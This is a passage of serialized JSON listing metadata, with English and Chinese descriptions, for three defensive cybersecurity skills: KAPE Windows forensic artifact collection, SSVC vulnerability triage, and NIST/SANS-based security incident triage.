recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":210,"name":211,"nameZh":212,"description":213,"descriptionZh":214,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":215,"categories":216,"keywords":221,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[217,218],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":219,"categoryName":220,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[222,223,224,49,225,226,227,228,229,230,231,232,233,234,235,236,169,237,238,239],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":241,"name":242,"nameZh":243,"description":244,"descriptionZh":245,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":246,"categories":247,"keywords":252,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[248,251],{"categoryNo":249,"categoryName":250,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[32,253,254,49,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":272,"name":273,"nameZh":274,"description":275,"descriptionZh":276,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":277,"categories":278,"keywords":283,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[279,280],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":281,"categoryName":282,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[50,284,49,285,286,287,288,289,290,291,292,204,293,205,294,295,296,297,298,299],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]